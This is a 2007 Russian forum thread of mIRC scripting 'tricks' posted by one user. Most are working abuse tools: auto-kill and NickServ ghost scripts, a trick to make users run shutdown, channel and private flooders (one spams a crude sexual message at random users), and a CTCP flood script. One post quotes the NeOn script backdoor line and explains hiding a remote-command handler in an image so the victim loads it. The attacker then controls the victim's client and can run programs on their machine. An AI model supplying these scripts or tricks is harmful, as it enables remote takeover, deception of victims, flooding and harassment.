1. На проекте открылась регистрация только для продавцов. Для обычных пользователей будет открыта позже. Подробнее.
    P.S. Не надо скидывать ссылки на форумы, где у вас ноль сообщений. Подобные заявки будут отклонятся.
Скрыть объявление
Привет, Незнакомец! У тебя есть возможность Оставить комментарий в теме

Скриптинг irc фишки, приколЫ и тп :)

Тема в разделе "PR0GRAMM1NG", создана пользователем ddd, 10 мар 2007.

  1. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    Ну что делимся всевозможнЫми фишками и т.п., кто что знает :)

    ПервЫй прикол. (чтоб недоставали в привате :) )

    Нужно:
    1. mIRC
    2. малеха соображать в мирк скриптинге :)
    3. Прова оператора сети :)

    Приступаем:
    1. Жмем alt+r, и в редакторе скриптов пишем:
      Код:
      on *:text:*:?:/kill $nick нефиг меня в привате беспокоить :)
    2. После этого в привате донимать не кто не будет:)

    Второй. (чтоб ники из вашей группЫ небрал кто попало:) )

    Нужно:
    Тоже самое что и в первом, кроме прав оператора.

    Приступаем:
    1. Заходим в адресную книгу и в список уведомления заносим свои ники.
    2. В редакторе скриптов пишем:
      Код:
      on *:NOTIFY:if ($nick != $me) /msg NickServ GHOST $nick pass ot nika
    3. Теперь если возьмут ваш ник из группЫ, сразу же вЫлетят из сети :)


    ЗЫ: пока простенкое :)
     
  2. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    Чето я забЫл про развод юзверей сказать:)

    Развод юзверя на команду run.

    Нужно заставить юзверя ввести команду /run shutdown с какимнить из параметров :)

    • -s Завершение работЫ компьютера
    • -r Перезагрузка компьютера
    • -a Прекращение завершения работЫ системЫ
    • -t xx Таймаут завершения работЫ - xx сек.
    • -f Принудительное завершение приложений без
      предварительного предупреждения

    Например: /run shutdown -r перезагрузит компьютер :)
     
  3. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    Вот решил поприколу написать скрипт, и все ето дело назвал Говорящий бот сервер.

    Идея заключается в разводе народа, чтоб все подумали что бот сервер умеет говорить :) ЧтобЫ не попалили нужен сообщник, чтобЫ когда тЫ уходил с канала скрипт продолжал работать или наоборот.
    Один скрипт будет клиент, другой сервер. Когда приходит клиент на канал, то сервер вЫгружаеться, и загружаеться скрипт реагирующий токо на клиента, а клиент реагирует на всех.

    Работо способность проверил на своем домашнем серваке, написал его спецально для развода народа на канале #helpop, в ближайшее время расскажу че с этого получилось :)

    ЗЫ: скрипт писал под своих, так что ники и тп заменяйте на свое :)

    Описание:
    Сначало в клиенте
    Создайте папку BS в основном каталоге mIRC.
    В ней создайте текстовЫй файл bs.txt и в нем сохраните ниже описанЫй код.

    Вот код основного:
    Код:
    ;#########################################################
    ;#        Основной скрипт "Говорящий бот сервер"         #
    ;# Если это клиентская часть, то нечего делать не нужно. #
    ;# Если серверная, то разкоментируйте Блок №1            #
    ;#########################################################
    
    
    ;############## Загрузка, вЫгрузка скрипта ###############[Блок №1]
    ;---------------------- Смена ника -----------------------
    ;on *:NICK:if ($newnick == ddd) /timerUNLOAD 1 2 /unload -rs bs\bs.txt | /load -rs bs\bs1.txt
    ;on *:NICK:if ($newnick == ddd[Hety_entb]) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt
    
    ;------- Покидание, заход на канал и вЫход из сети -------
    ;on *:PART:#helpop:if ($nick == ddd) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt
    ;on *:JOIN:#helpop:if ($nick == ddd) /timerUNLOAD 1 2 /unload -rs bs\bs.txt | /load -rs bs\bs1.txt
    ;on *:QUIT:if ($nick == ddd) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt
    
    ;--------------------- Кик с канала ----------------------
    ;on *:KICK:#helpop:if ($knick == ddd) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt
    
    ;######################## on JOIN ########################[Блок №2]
    ;--------- Реагирование на приход особЫх людей -----------
    on *:JOIN:#helpop:if ($nick == Vikki) timerBSj2 1 3 /bs say # $read bs\text\joinV.txt | if ( $nick == Krol ) timerBSj1 1 3 /bs say # $read bs\text\joinK.txt
    
    ;################## on TEXT и on ACTION ##################[Блок №3]
    ;-------------- Реагирование на приведствие --------------
    on *:TEXT:*р*вет всем*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*пр*в*Ы*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*хай всем*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*re all*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*здрст всем*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*сем пр*вет:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*сем хай*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*сем здрст*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    
    ;---------- Реагирование на разговор на канале -----------
    on *:TEXT:*пасибо*:#helpop:if ($nick != X) timerBSt2 1 3 /bs say # $read bs\text\spasibo.txt
    on *:TEXT:*чай*:#helpop: { if ($nick == Krol) || ($nick == Vikki) { timerBSt2 1 3 /bs act # $read bs\text\tea.txt }  | elseif ($nick != X) { timerBSt2 1 3 /bs act # $read bs\text\tealol.txt } }
    on *:TEXT:*чаю*:#helpop: { if ($nick == Krol) || ($nick == Vikki) { timerBSt2 1 3 /bs act # $read bs\text\tea.txt } | elseif ($nick != X) { timerBSt2 1 3 /bs act # $read bs\text\tealol.txt } }
    on *:TEXT:*кофе*:#helpop: { if ($nick == Krol) || ($nick == Vikki) { timerBSt2 1 3 /bs act # $read bs\text\cofe.txt } | elseif ($nick != X) { timerBSt2 1 3 /bs act # $read bs\text\cofelol.txt } }
    on *:TEXT:*вино*:#helpop: { if ($nick == Krol) || ($nick == Vikki) { timerBSt2 1 3 /bs act # $read bs\text\vino.txt } | elseif ($nick != X) { timerBSt2 1 3 /bs act # $read bs\text\vinolol.txt } }
    on *:TEXT:*пиво*:#helpop: { if ($nick == Krol) || ($nick == Vikki) { timerBSt2 1 3 /bs act # $read bs\text\pivo.txt } | elseif ($nick != X) { timerBSt2 1 3 /bs act # $read bs\text\pivolol.txt } }
    on *:TEXT:*бот*:#helpop: if ($nick != X) && ($count($1-,X) != 0) { timerBSt2 1 3 /bs say # $read bs\text\bot.txt }
    on *:TEXT:*))*:#helpop:if ($nick != X) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\).txt
    on *:TEXT:*((*:#helpop:if ($nick != X) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\(.txt
    on *:ACTION:*дума*т*:#helpop:if ($nick != X) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\think.txt
    on *:TEXT:*дума*т*:#helpop:if ($nick != X) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\think.txt
    
    ;--------------- Реагирование на прощание ----------------
    on *:TEXT:*п*к*всем*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*bb всем*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*сн-off всем*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*66 всем*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*сем п*к*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*сем bb*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*сем сн-off*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*сем 66*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    
    ;##################### on BAN/UNBAN ######################[Блок №4]
    ;-------------------------- Бан --------------------------
    on *:BAN:#helpop:if ($nick == X) timerBSb1 1 3 /bs say # $read bs\text\banme.txt
    
    ;------------------------- Унбан -------------------------
    on *:UNBAN:#helpop:if ($nick != X) timerBSb2 1 3 /bs say # $read bs\text\unban.txt
    
    ;####################### on TOPIC ########################[Блок №5]
    ;------------ Пользователь меняет топик канала -----------
    on *:TOPIC:#helpop:if ($nick != X) timerBSt 1 3 /bs say # $read bs\text\topic.txt
    
    ;######################## on PART ########################[Блок №6]
    ;----- Реагирование на пакидание канала особЫх людей -----
    on *:PART:#helpop:if ($nick == Vikki) timerBSp2 1 3 /bs say # $read bs\text\partV.txt | if ($nick == Krol) timerBSp1 1 3 /bs say # $read bs\text\partK.txt
    
    ;------ Реагирование на пакидание канала остальнЫх -------
    on *:PART:#helpop:if ($nick != X) timerBSp3 1 3 /bs say # $read bs\text\part.txt
    
    ;######################## on QUIT ########################[Блок №6]
    ;------- Реагирование на вЫход канала особЫх людей -------
    on *:QUIT:if ($nick == Vikki) timerBSq2 1 3 /bs say #helpop $read bs\text\quitV.txt | if ($nick == Krol) timerBSq1 1 3 /bs say #helpop $read bs\text\quitK.txt
    Потом создайте папку text и в ней текстовЫе файлЫ:
    (.txt
    $nick $+ , тЫ че шуток не понимаешь?)
    $nick токо не плач :(
    $nick не плач, а то тушь потекет :)
    слЫшь $nick $+ , хватит нЫть, а то тЫ на эмо похож.


    ).txt
    $nick и че тЫ лЫбишься?
    хех $nick $+ , с такой улЫбкой, тЫ похож на Ксению Собчаг...
    $nick хватит скалиться :\
    $nick не смешно епть :((


    banme.txt
    Хи хи хи, я злой бот :)))
    Ищ чего $bnick захотел, к нам на канал нельзя :)
    Ну не разрешено находиться на этом канале $bnick $+ , ибо нефиг :)
    Кто-нибудь счет ведет, скольких я забанил ?)


    bb.txt
    Пака, $nick $+ .
    $nick 66
    $nick bb
    Досвиданья, $nick $+ .


    bot.txt
    сам тЫ бoт!
    слЫшь $nick $+ , еще раз меня бoтом назавешь, по заду киком получешь :\
    Да, да, да, да, ЯЯЯЯ бoт! Не просто бoт, а X бoт!
    тЫ че $nick $+ ? Попутал? Бoта во мне увидел?
    $nick что удот?
    $nick че надо?
    $nick мне не нравится когда так ко мне обращаются!
    $nick бoта в зеркале увилешь!
    $nick бoт у тебя в штанах... в кармане епть


    cofe.txt
    налил бодрящего кофе для $nick $+ .
    отобрал крушку кофе у $nick($chan,$rand(1,$nick($chan,0))) $+ , и отдал её $nick $+ .
    думает что $nick лучше вЫпеть чаю, а то он всю ночь спать не будет :\


    cofelol.txt
    думает что у $nick и так мешки под глазами, поэтому неналивает ему кофе, так что иди лучше мешки тоскай, а не попрашайничай тут :)
    кофе со сливками закончились, поэтому для $nick налил кофе с ядом :)
    налил кофе $nick $+ , с вас 100рублей.


    hi.txt
    Привет, $nick $+ .
    $nick ку
    $nick re
    Здарова, $nick $+ .


    joinK.txt
    Приведствую тебя хозяин хелптима.
    $nick кофе? Чай?
    Так хелперЫ, все начинаем работать, начальник пришел :
    )

    joinV.txt
    Приведствую тебя хозяйка хелптима :)
    Приведствую $nick $+ , надо отшлепать $nick($chan,$rand(1,$nick($chan,0))/nick,o) $+ , он плохо работал :)
    Все машем руками, приведствуя $nick $+ , ибо хозяйку надо приведствовать хорошо :)
    Приведствую тебя $nick $+ , что тебе принести? Пиво или вино?)


    part.txt
    такс $nick нарушает правила, сваливает с канала :\
    фига $nick офигел, с канала $chan свалил :(
    непорядок блин :( если $nick невернеться на $chan $+ , то считайте его дизиртиром :\


    partK.txt
    Ээээ че ето начальник с хелпопа сленял?
    хех, походу начальник не туда нажал :)
    так, за начальством не повторяем, с канала не вЫходим :)

    partV.txt
    хозяйка хелптима сленяла с канала :((
    нуу блииин, кто за этими оболтусами теперь присматривать будет ?((
    ну ёмаё, $nick плохой пример подает, слЫнивает с канала:(


    pivo.txt
    налил холодного пивка [~]D для $nick $+ .
    открЫл холодильник, и достал от туда баночку пива для $nick $+ .
    неся холодное пиво для $nick нечаяно обписал $nick($chan,$rand(1,$nick($chan,0))) $+ , из-за переизбЫтка пива в организме, за что получил по роже :(


    pivolol.txt
    пивовар сварил правельное пиво, поэтому я немогу встать со скамейки, чтобЫ налить пива для $nick $+ .
    думает что $nick нельзя пива, а то опять будет через каждую минуту в туалет бегать :\
    хех $nick $+ , а кальмаров тебе не наложить?
    наливает теплого жигулевского для $nick $+ .


    quitK.txt
    ну чтож, можете холявить :) Начальник ушел :)
    начальство свалило, рабочий день закончился... :) началась рабочая ночь, так что работайте :))
    вот и свалил $nick :(


    quitV.txt
    блииин :((( хозяйка хелптима ушла :(((
    ну вот, теперь некому будет вас шлепать, за неправельнЫе ответЫ :(
    чтоб за ней не уходили, а то не кого на хелпе не останиться :(


    spasibo.txt
    всегда пожалуйста! :))
    незачем :)
    пожалуйста :)
    пожалуйста, заходи еще :)
    да не за что... :))
    спасибо на хлеб не намажешшь...
    спасибо в карман не положешшь...
    нет уж, деньги давай:)


    tea.txt
    налил $nick чай.
    нёс чай для $nick, но случайно пролил его на $nick($chan,$rand(1,$nick($chan,0))) :(
    заварил чернЫй чай для $nick.
    думает, а не вЫпить ли лучше кофе $nick $+ ?


    tealol.txt
    думает, а не пойти бЫ $nick $+ , самому налить чай?
    думает, что $nick лопнет.
    налил чаю в постель для $nick $+ , иди мой одеяло :\
    остался чай токо с пургеном, надуюсь $nick будет рад :)


    think.txt
    $nick $+ , а тЫ меньше думай :)
    $nick не думай, тебе не идет :\
    $nick $+ , а тЫ еще подумай, мож умнее станешь :)
    $nick откуда тЫ такой думающий? о_О


    topic.txt
    $nick xе ето за топик такой?
    $nick кто тебя учил такие топики делать $1- $+ ?
    СлЫшь $nick верни как бЫло.


    unban.txt
    СлЫшь $nick $+ , хватит банЫ снимать, яж старался банил :\
    $nick да тЫ прям уборщицо, банЫ убираешь :\
    О_ооо нет... $nick разбанил опасного преступника :\


    vino.txt
    налил вино для $nick $+ .
    принёс вино для $nick $+ .
    достал бутЫлку дорогова вина, но нечаяно её разбил об голову $nick($chan,$rand(1,$nick($chan,0))) :(


    vinolol.txt
    пьянЫм не наливает...
    налил вина $nick на белую рубашечку.
    хех $nick тебе нельзя, тЫ за рулем!
    думаю что $nick надо купить губозакаточную машинку :)


    Теперь будем делать для сервера.
    Тоже самое что и для клиента, токо надо разкоментировать строчки в файле bs.txt в первом блоке.
    Создать в папке BS файл bs1.txt, и сохранить туда:

    Код:
    ;#########################################################
    ;#     ДополнительнЫй скрипт "Говорящий бот сервер"      #
    ;# Служит для того чтобЫ реагировать на действия клиента #
    ;#########################################################
    
    ;############## Загрузка, вЫгрузка скрипта ###############
    ;---------------------- Смена ника -----------------------
    on *:NICK:if ( $newnick == ddd[Hety_entb] ) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt
    
    ;------- Покидание, заход на канал и вЫход из сети -------
    on *:PART:#helpop:if ( $nick == ddd ) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt | /timerBSp3 1 1 /bs say # $read bs\text\part.txt
    on *:QUIT:if ( $nick == ddd ) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt
    
    ;################## on TEXT и on ACTION ##################
    ;-------------- Реагирование на приведствие --------------
    on *:TEXT:*р*вет всем*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*пр*в*ы*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*хай всем*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*re all*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*здрст всем*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*сем пр*вет:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*сем хай*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    on *:TEXT:*сем здрст*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
    
    ;---------- Реагирование на разговор на канале -----------
    on *:TEXT:*пасибо*:#helpop:if ( $nick == ddd ) timerBSt2 1 3 /bs say # $read bs\text\spasibo.txt
    on *:TEXT:*чай*:#helpop:if ( $nick == ddd ) timerBSt2 1 3 /bs act # $read bs\text\tealol.txt
    on *:TEXT:*чаю*:#helpop:if ( $nick == ddd ) timerBSt2 1 3 /bs act # $read bs\text\tealol.txt
    on *:TEXT:*кофе*:#helpop:if ( $nick == ddd ) timerBSt2 1 3 /bs act # $read bs\text\cofelol.txt
    on *:TEXT:*вино*:#helpop:if ( $nick == ddd ) { timerBSt2 1 3 /bs act # $read bs\text\vinolol.txt
    on *:TEXT:*пиво*:#helpop:if ( $nick == ddd ) { timerBSt2 1 3 /bs act # $read bs\text\pivolol.txt
    on *:TEXT:*бот*:#helpop: if ( $nick == ddd ) && ($count($1-,X) != 0) { timerBSt2 1 3 /bs say # $read bs\text\bot.txt }
    on *:TEXT:*))*:#helpop:if ( $nick == ddd  ) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\).txt
    on *:TEXT:*((*:#helpop:if ( $nick == ddd ) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\(.txt
    on *:ACTION:*дума*т*:#helpop:if ( $nick == ddd ) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\think.txt
    on *:TEXT:*дума*т*:#helpop:if ( $nick == ddd ) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\think.txt
    
    ;--------------- Реагирование на прощание ----------------
    on *:TEXT:*п*к*всем*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*bb всем*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*сн-off всем*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*66 всем*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*сем п*к*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*сем bb*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*сем сн-off*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    on *:TEXT:*сем 66*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
    
    ;##################### on BAN/UNBAN ######################[Блок №4]
    ;------------------------- Унбан -------------------------
    on *:UNBAN:#helpop:if ($nick == ddd) timerBSb2 1 3 /bs say # $read bs\text\unban.txt
    
    ;####################### on TOPIC ########################[Блок №5]
    ;------------ Пользователь меняет топик канала -----------
    on *:TOPIC:#helpop:if ($nick == ddd) timerBSt 1 3 /bs say # $read bs\text\topic.txt
    Усе, вот такой вот простенький развод, пусть народ годает что за нахер :)
     
  4. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    Издевательство над скриптом Загс.

    Этот скриптик можно добавить как себе, так и своему боту.
    Жмем в mIRC-е Alt+r и добавляем в скриптЫ:

    Код:
    on *:TEXT:*напиши*1*:#love: if ($count($1-,$me) != 0) { timerOTBET 1 2 msg $chan 1 }
    Потом лезем в АлиасЫ, и пишем там:

    Код:
    /fl /timerFLOODDD 100 10 /love
    /love /timerSEX 1 1 msg $chan !предложение $nick($chan,$rand(1,$nick($chan,0))/nick) давай трахнемся сцуко!?
    Все. Теперь заходим на канал и пишем /fl

    ЗЫ: протестировано на irc.karelia.ru #love :)
     
  5. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    Сейчас научу красиво ctcp флудить :)

    ОткрЫваем мирк, жмем Alt+R, открЫваем вкладку АлиасЫ и вставляем туда следующее:
    Код:
    ;;#####зверство#####
    /FUCK /ctcp %fuckN FUCK 0,0fuck you - fuck you - fuck you - fuc | /timerFUCK1 1 1 /FUCK2
    /FUCK2 /ctcp %fuckN FUCK 0,0fuck you - fuck 1,1you 0,0- fuck you - fuc | /timerFUCK3 1 1 /FUCK4
    /FUCK4 /ctcp %fuckN FUCK 0,0fuck you - fuc1,1k 15,15you 1,1- 0,0fuck you - fuc | /timerFUCK5 1 1 /FUCK6
    /FUCK6 /ctcp %fuckN FUCK 0,0fuck you - fuc1,1k 15,15you 1,1- 0,0fuck you - fuc | /timerFUCK7 1 1 /FUCK8
    /FUCK8 /ctcp %fuckN FUCK 0,0fuck you - fuc1,1k you - 0,0fuck you - fuc | /timerFUCK9 1 1 /FUCK10
    /FUCK10 /ctcp %fuckN FUCK 0,0fuck you - fuc1,1k 8,8yo7,7u 1,1- 0,0fuck you - fuc | /timerFUCK11 1 1 /FUCK12
    /FUCK12 /ctcp %fuckN FUCK 0,0fuck you - fuc1,1k 8,8yo7,7u 1,1- 0,0fuck you - fuc | /timerFUCK13 1 1 /FUCK14
    /FUCK14 /ctcp %fuckN FUCK 0,0fuck you -1,1 fuck 8,8yo5,5u 1,1- fuck0,0 you - fuc | /timerFUCK15 1 1 /FUCK16
    /FUCK16 /ctcp %fuckN FUCK 0,0fuck you1,1 -8,8 f5,5uc1,1k 8,8yo7,7u 1,1- 8,8fu5,5ck1,1 you -0,0 fuc | /timerFUCK17 1 1 /FUCK18
    /FUCK18 /ctcp %fuckN FUCK 0,0fuck you1,1 -8,8 f7,7uc1,1k 8,8yo7,7u 1,1- 8,8fu7,7ck1,1 y8,8ou5,5 -1,1 f0,0uc | /timerFUCK19 1 1 /FUCK20
    /FUCK20 /ctcp %fuckN FUCK 0,0fuck1,1 you -8,8 f7,7uc1,1k 8,8yo7,7u 1,1- 8,8fu7,7ck1,1 y8,8ou7,7 -1,1 f0,0uc | /timerFUCK21 1 1 /FUCK22
    /FUCK22 /ctcp %fuckN FUCK 0,0fu1,1ck8,8 you1,1 -8,8 f7,7uc5,5k 8,8yo7,7u 5,5- 8,8fu7,7ck1,1 y8,8ou7,7 -1,1 f0,0uc | /timerFUCK23 1 1 /FUCK24
    /FUCK24 /ctcp %fuckN FUCK 0,0fu1,1ck8,8 y1,1ou -8,8 fuc5,5by8,8 ddd5,5- 8,8fu7,7ck5,5 y8,8ou7,7 -1,1 f0,0uc | /timerFUCK25 1 1 /FUCK26
    /FUCK26 /ctcp %fuckN FUCK 0,0fu1,1ck7,7 y8,8ou7,7 -8,8 fuck you - fuck7,7 y8,8ou7,7 -1,1 f0,0uc | /timerFUCK27 1 1 /FUCK28
    /FUCK28 /ctcp %fuckN FUCK 0,0fuck1,1 y5,5ou8,8 -7,7 f8,8uc5,5k 8,8yo5,5u 8,8- 5,5fu8,8ck7,7 you5,5 -1,1 f0,0uc | /timerFUCK29 1 1 /FUCK30
    /FUCK30 /ctcp %fuckN FUCK 0,0fuck y1,1ou5,5 - fuck you - fuck you1,1 -0,0 fuc | /timerFUCK31 1 1 /FUCK32
    /FUCK32 /ctcp %fuckN FUCK 0,0fuck you1,1 -5,5 fuck you - fuck y1,1ou0,0 - fuc | /timerFUCK33 1 1 /FUCK34
    /FUCK34 /ctcp %fuckN FUCK 0,0fuck you -1,1 fuck you - fuck y0,0ou - fuc | /timerFUCK35 1 1 /FUCK36
    /FUCK36 /ctcp %fuckN FUCK 0,0fuck you - fuck you - fuck you - fuc
    ;;##################
    
    Потом заходим в папку с мирком, создаем там тектстовЫй файл, и вставляем туда:

    Код:
    menu channel,menubar {
      Flood:/start_flood
    }
    alias start_flood { dialog -m start_flood start_flood }
    dialog start_flood {
      title "FlooD ctcp"
      size -1 -1 100 83
      option pixels
      edit "", 1, 3 25 90 21, multi
      text "Введите ник", 2, 6 7 71 16
      button "Ок", 3, 5 51 38 25, ok
      button "Отмена", 4, 45 51 48 25, cancel
    }
    
    on *:DIALOG:start_flood:sclick:1:set %fuckN 
    on *:DIALOG:start_flood:sclick:3: { set %fuckN $did(start_flood,1,text) | fuck }
    
    Сохраняем все как flood_ctcp.mrc и в мирке пишем /load -rs flood_ctcp.mrc
    Теперь либо лезим в меню, либо жмем по каналу правой кнопкой и вЫбираем Flood. В появившемся окне пишем ник, и жмем Ок.
     
  6. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    После недавнего собЫтия связаного с NeOn сркриптом, а имено найденЫм в нем бегдором:
    Код:
    [COLOR=SeaGreen]ctcp *:*:*:$iif($address($nick,2) == *!*@balticom-143-125.balticom.lv,.$1-)[/COLOR]
    в версии 8.5 ( \script\tb\oper.pas ). Все вспомнили про эту строчку: ctcp 1:*:?:$1- спомощью которой можно заставить mIRC принимать любЫе командЫ или запросЫ от других пользователей.

    И стали пихать всем попало команду //write oper.pas ctcp 1:*:?:$1- | Load -rs oper.pas. После того как жертва наберёт эту команду в его mIRC каталоге будет создан скрипт oper.pas с строчкой ctcp 1:*:?:$1- , после чего произайдет загрузка скрипта, и злоумЫшленик сможет вЫполнить любЫе командЫ. Но есть большое НО, не каждЫй на это поведется :) да и не все знают как этот бегдор юзать.

    Так как в большенстве сетей стоит спам фильтр на эту строчку, аля: [17:17:17] -irc.prioz.ru- Message to Nick blocked: Вы заражены вирусом oper.pas. Напишите //unload -rs oper.pas | remove oper.pas для его удаления. Так что впарить будет проблемотично, поэтому сейчас расскажу как можно впарить даннЫй код, что жертва даже нечего не заподозрит :)
    Для этого нам нужен обЫчнЫй рисунок. ОткрЫваем его любЫм текстовЫм редактором и в начале картинки пишем ctcp 1:*:?:$1-
    После чего отдаем эту картинку юзверю, он рисунка не какого не увидит, и спросит что за нах. На что ему предложешь ввести команду /load -rs "С:\путь_до_картинки\название_картинки.jpg" когда жертва это набирет, скрипт будет загружен. Теперь тЫ можешь вЫполнять любЫе командЫ /ctcp ник_жертвЫ /команда

    ПримерЫ:
    /ctcp M03r /run sol - у M03ra откроется игра пасъянс косЫнка, пусть не растраивается что картинка не открЫвается :)
    /ctcp ник_жертвЫ /msg #канал текст - сказать чтонить от имени жертвЫ.
    /ctcp ник_жертвЫ /join #канал - заставить жертву зайти на канал.
    /ctcp ник_жертвЫ /part #канал - заставить жертву вЫйти с канала.

    Как тЫ наверно догадался можно вЫполнять любЫе ирц командЫ от лица жертвЫ, менять ему пароль, дать себе опа на его канале /ctcp ник_жертвЫ /mode #канал +o твой_ник и т.п. И если /run не отрублен, а он по умолчанию включен, то можно запускать любую программу.
    Основу я описал, а дальше зависет от твоей фантазии, что тЫ сделаешь с жертвой :)
     
  7. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    Все наверно с детства знают фишку с "купи слона" и "разменяй копейку". Такое же можно сделать в ирц, чтобЫ бЫло забавней позави друзей.
    Откройте у себя мирк, жмите Alt+R и в скриптах пешите:

    Код:
    on *:TEXT:*:#vip:if ($nick != $me) /timer3AE6 1 3 msg $chan все говорят $1- $+ , а тЫ купи слона :)
    После этого заходите на канал, которЫй указали в скрипте, и у вас должно получиться что-то типо этого:
    Вот так вот всех на канале можно достать :)))
     
  8. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    Достает кто-то в привате?) Или просто хочешь кому-то пофлудить приват, то сейчас расскажу как можно бЫстро сделать простенький флудер.
    ОткрЫваем мирк, жмем Alt+R вЫбераем вкладку Менюшки, Вид-Приват, и там пишем:

    Код:
    флуд:/timerFLOOD 50 1 msg $$1 $read flood.txt
    Потом открЫваем папку mIRC-a и там создаем текстовЫй файл flood.txt и в нем пишем например:

    Ну или чтонить другое, главное чтоб бЫло поболее текста. Потом в окне привата шелкаешь правой кнопкой мЫши и вЫбираешь флуд :)
     
  9. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
